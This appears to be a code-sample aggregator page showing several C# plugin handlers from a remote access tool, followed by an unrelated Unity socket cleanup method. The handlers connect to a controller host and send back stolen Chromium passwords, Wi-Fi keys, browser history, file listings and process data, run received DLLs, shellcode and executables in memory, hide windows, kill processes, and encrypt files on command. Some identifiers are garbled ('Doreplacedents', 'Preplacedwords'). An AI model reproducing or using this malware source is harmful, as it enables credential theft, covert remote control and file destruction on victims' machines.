                    case Shared.PacketTypes.PacketType.SHORTCUT_DESKTOP:
                        await Task.Run(() => Functions.ShortCutFolder(Environment.SpecialFolder.Desktop ,ref D));
                        D.HWID = HWID;
                        D.Type = Shared.PacketTypes.PacketType.SHORTCUT_DESKTOP;
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                    case Shared.PacketTypes.PacketType.SHORTCUT_DOreplacedENTS:
                        await Task.Run(() => Functions.ShortCutFolder(Environment.SpecialFolder.MyDoreplacedents, ref D));
                        D.HWID = HWID;
                        D.Type = Shared.PacketTypes.PacketType.SHORTCUT_DOreplacedENTS;
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                    case PacketTypes.PacketType.SHORTCUT_DOWNLOADS:
                        await Task.Run(() => Functions.SpecialShortCutFolder(NativeAPI.Folder.Downloads, ref D));
                        D.HWID = HWID;
                        D.Type = Shared.PacketTypes.PacketType.SHORTCUT_DOWNLOADS;
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                }
                S.Close();
                S.Dispose();

            }
            catch (Exception)
            {
            }
            finally
            {
                Shared.Utils.ClearMem();
            }
        }

19 View Source File : Launch.cs
License : MIT License
Project Creator : arsium

public async static Task Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
        {
            try 
            {
                Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
                S.Connect(ep);
                Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
                Data D = new Data();
                    switch (T)
                    {

                        case PacketTypes.PacketType.GET_PROC:
                            await Task.Run(() => Functions.GetProcesses(ref D));
                            D.HWID = HWID;
                            D.Type = Shared.PacketTypes.PacketType.GET_PROC;
                            D.IP_Origin = BaseIP;
                            await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                            break;

                        case PacketTypes.PacketType.KILL_PROC:
                            bool killed = await Task.Run(() => Functions.KillProcess(int.Parse(Param[1].ToString())));
                            D.HWID = HWID;
                            D.Type = Shared.PacketTypes.PacketType.KILL_PROC;
                            D.DataReturn = new object[] { killed, Param[1].ToString() };
                            D.IP_Origin = BaseIP;
                            await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                            break;

                        case PacketTypes.PacketType.RESUME_PROC:
                            bool resumed = await Task.Run(() => Functions.ResumeProcess(int.Parse(Param[1].ToString())));
                            D.HWID = HWID;
                            D.Type = Shared.PacketTypes.PacketType.RESUME_PROC;
                            D.DataReturn = new object[] { resumed, Param[1].ToString() };
                            D.IP_Origin = BaseIP;
                            await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                            break;

                        case PacketTypes.PacketType.SUSPEND_PROC:
                            bool suspended = await Task.Run(() => Functions.SuspendProcess(int.Parse(Param[1].ToString())));
                            D.HWID = HWID;
                            D.Type = Shared.PacketTypes.PacketType.SUSPEND_PROC;
                            D.DataReturn = new object[] { suspended, Param[1].ToString() };
                            D.IP_Origin = BaseIP;
                            await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                            break;

                        case PacketTypes.PacketType.SET_WND_TEXT:
                            bool settext = await Task.Run(() => Functions.SetWindowsText(int.Parse(Param[1].ToString()), Param[2].ToString()));
                            D.HWID = HWID;
                            D.Type = Shared.PacketTypes.PacketType.SET_WND_TEXT;
                            D.DataReturn = new object[] { settext, Param[1].ToString(), Param[2].ToString() };
                            D.IP_Origin = BaseIP;
                            await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                            break;

                        case PacketTypes.PacketType.MAXIMIZE_WND:
                            await Task.Run(() => Functions.MaximizeWindow(int.Parse(Param[1].ToString())));
                            break;

                        case PacketTypes.PacketType.MINIMZE_WND:
                            await Task.Run(() => Functions.MinimizeWindow(int.Parse(Param[1].ToString())));
                            break;

                        case PacketTypes.PacketType.HIDE_WND:
                            await Task.Run(() => Functions.HideWindow((IntPtr)Param[1]));
                            break;

                        case PacketTypes.PacketType.SHOW_WND:
                            await Task.Run(() => Functions.ShowWindow((IntPtr)Param[1]));
                            break;

                }
                    S.Close();
                    S.Dispose();
            }
            catch (Exception)
            {
            }
            finally
            {
                Shared.Utils.ClearMem();
            }
        }

19 View Source File : Launch.cs
License : MIT License
Project Creator : arsium

public async static Task Main(Host H, string HWID, object[] Param , Socket Base, string key, string BaseIP) 
        {
            try
            {
                Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
                S.Connect(ep);
                Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
                Data D = new Data();
                switch (T)
                {
                    case Shared.PacketTypes.PacketType.PreplacedWORDS:
                        await Task.Run(() => Chromium.Recovery(ref D));
                        D.HWID = HWID;
                        D.Type = Shared.PacketTypes.PacketType.PreplacedWORDS;
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                    case Shared.PacketTypes.PacketType.WIFI:
                       await Task.Run(() => Wifi.Recovery(ref D));
                        D.HWID = HWID;
                        D.Type = Shared.PacketTypes.PacketType.WIFI;
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                    case Shared.PacketTypes.PacketType.HISTORY:
                        await Task.Run(() => History.Recovery(ref D));
                        D.HWID = HWID;
                        D.Type = Shared.PacketTypes.PacketType.HISTORY;
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;
                }
                S.Close();
                S.Dispose();
            }
            catch (System.Exception)
            {
            }
            finally 
            {
                Shared.Utils.ClearMem();           
            }
        }

19 View Source File : Launch.cs
License : MIT License
Project Creator : arsium

public async static Task Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
        {
            try
            {
                Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
                S.Connect(ep);
                Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
                Data D = new Data();
                byte[] b;
                ReturnHelper res;
                switch (T)
                {
                    case Shared.PacketTypes.PacketType.EXEC_MANAGED_DLL:
                        b = (byte[])Param[1];
                        res = await Task.Run(() => Functions.ExecuteManaged(ref b, Param[2].ToString()));
                        D.Type = Shared.PacketTypes.PacketType.EXEC_MANAGED_DLL;
                        D.HWID = HWID;
                        D.DataReturn = new object[] { res , Param[3].ToString() };
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                    case PacketTypes.PacketType.EXEC_NATIVE_DLL:
                        b = (byte[])Param[1];
                        res = await Task.Run(() => Functions.ExecuteUnmanaged(b));
                        D.Type = Shared.PacketTypes.PacketType.EXEC_NATIVE_DLL;
                        D.HWID = HWID;
                        D.DataReturn = new object[] { res , Param[2].ToString() };
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                    case PacketTypes.PacketType.EXEC_SHELL_CODE:
                        b = (byte[])Param[1];
                        res = await Task.Run(() => Functions.ExecuteShellCode(b));
                        D.Type = Shared.PacketTypes.PacketType.EXEC_SHELL_CODE;
                        D.HWID = HWID;
                        D.DataReturn = new object[] { res, Param[2].ToString() };
                        D.IP_Origin = BaseIP;
                        await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                    case PacketTypes.PacketType.EXEC_NATIVE_EXE:
                        b = (byte[])Param[1];
                        res = await Task.Run(() => Functions.ExecuteNativePE(b));
                        D.Type = Shared.PacketTypes.PacketType.EXEC_NATIVE_EXE;
                        D.HWID = HWID;
                        D.DataReturn = new object[] { res, Param[2].ToString() };
                        D.IP_Origin = BaseIP;
                        //await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                }
                S.Close();
                S.Dispose();

            }
            catch (Exception)
            {
            }
            finally
            {
                Shared.Utils.ClearMem();
            }
        }

19 View Source File : Launch.cs
License : MIT License
Project Creator : arsium

public async static Task Main(Host H, string HWID, object[] Param, Socket Base, string key, string BaseIP)
        {
            try
            {

                Socket S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                IPEndPoint ep = new IPEndPoint(IPAddress.Parse(H.host), H.port);
                S.Connect(ep);
                Shared.PacketTypes.PacketType T = (Shared.PacketTypes.PacketType)Param[0];
                Data D = new Data();
                switch (T)
                {
                    case Shared.PacketTypes.PacketType.ENCRYPT_F:
                        //List<string> Drive = await Task.Run(() => Functions.GetDisks());
                        bool hasEncrypt = await Task.Run(() => Functions.RunEncryptionDecryption((Algorithm)Param[1], (bool)Param[2], (string)Param[3], (string)Param[4]));
                        D.HWID = HWID;
                        D.Type = Shared.PacketTypes.PacketType.ENCRYPT_F;
                        D.DataReturn = new object[] { hasEncrypt };
                        D.IP_Origin = BaseIP;
                       // await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                    case PacketTypes.PacketType.DECRYPT_F:
                        bool hasDecrypt = await Task.Run(() => Functions.RunEncryptionDecryption((Algorithm)Param[1], (bool)Param[2], (string)Param[3], (string)Param[4]));
                        D.HWID = HWID;
                        D.Type = Shared.PacketTypes.PacketType.DECRYPT_F;
                        D.DataReturn = new object[] { hasDecrypt };
                        D.IP_Origin = BaseIP;
                        //await Task.Run(() => Shared.Serializer.SendData(S, Encryption.RSMTool.RSMEncrypt(D.Serialize(), Encoding.Unicode.GetBytes(key))));
                        break;

                }
                S.Close();
                S.Dispose();

            }
            catch (Exception)
            {
            }
            finally
            {
                Shared.Utils.ClearMem();
            }
        }

19 View Source File : UnityDebugViewerTransfer.cs
License : Apache License 2.0
Project Creator : AsanCai

public void Clear()
        {
            /// close in order
            if (clientSocket != null)
            {
                clientSocket.Close();
                clientSocket = null;
            }

            if (connectThread != null)
            {
                connectThread.Interrupt();
                connectThread.Abort();
                connectThread = null;
            }

            if (serverSocket != null)
            {
                serverSocket.Close();
                serverSocket = null;
            }
        }

See More Examples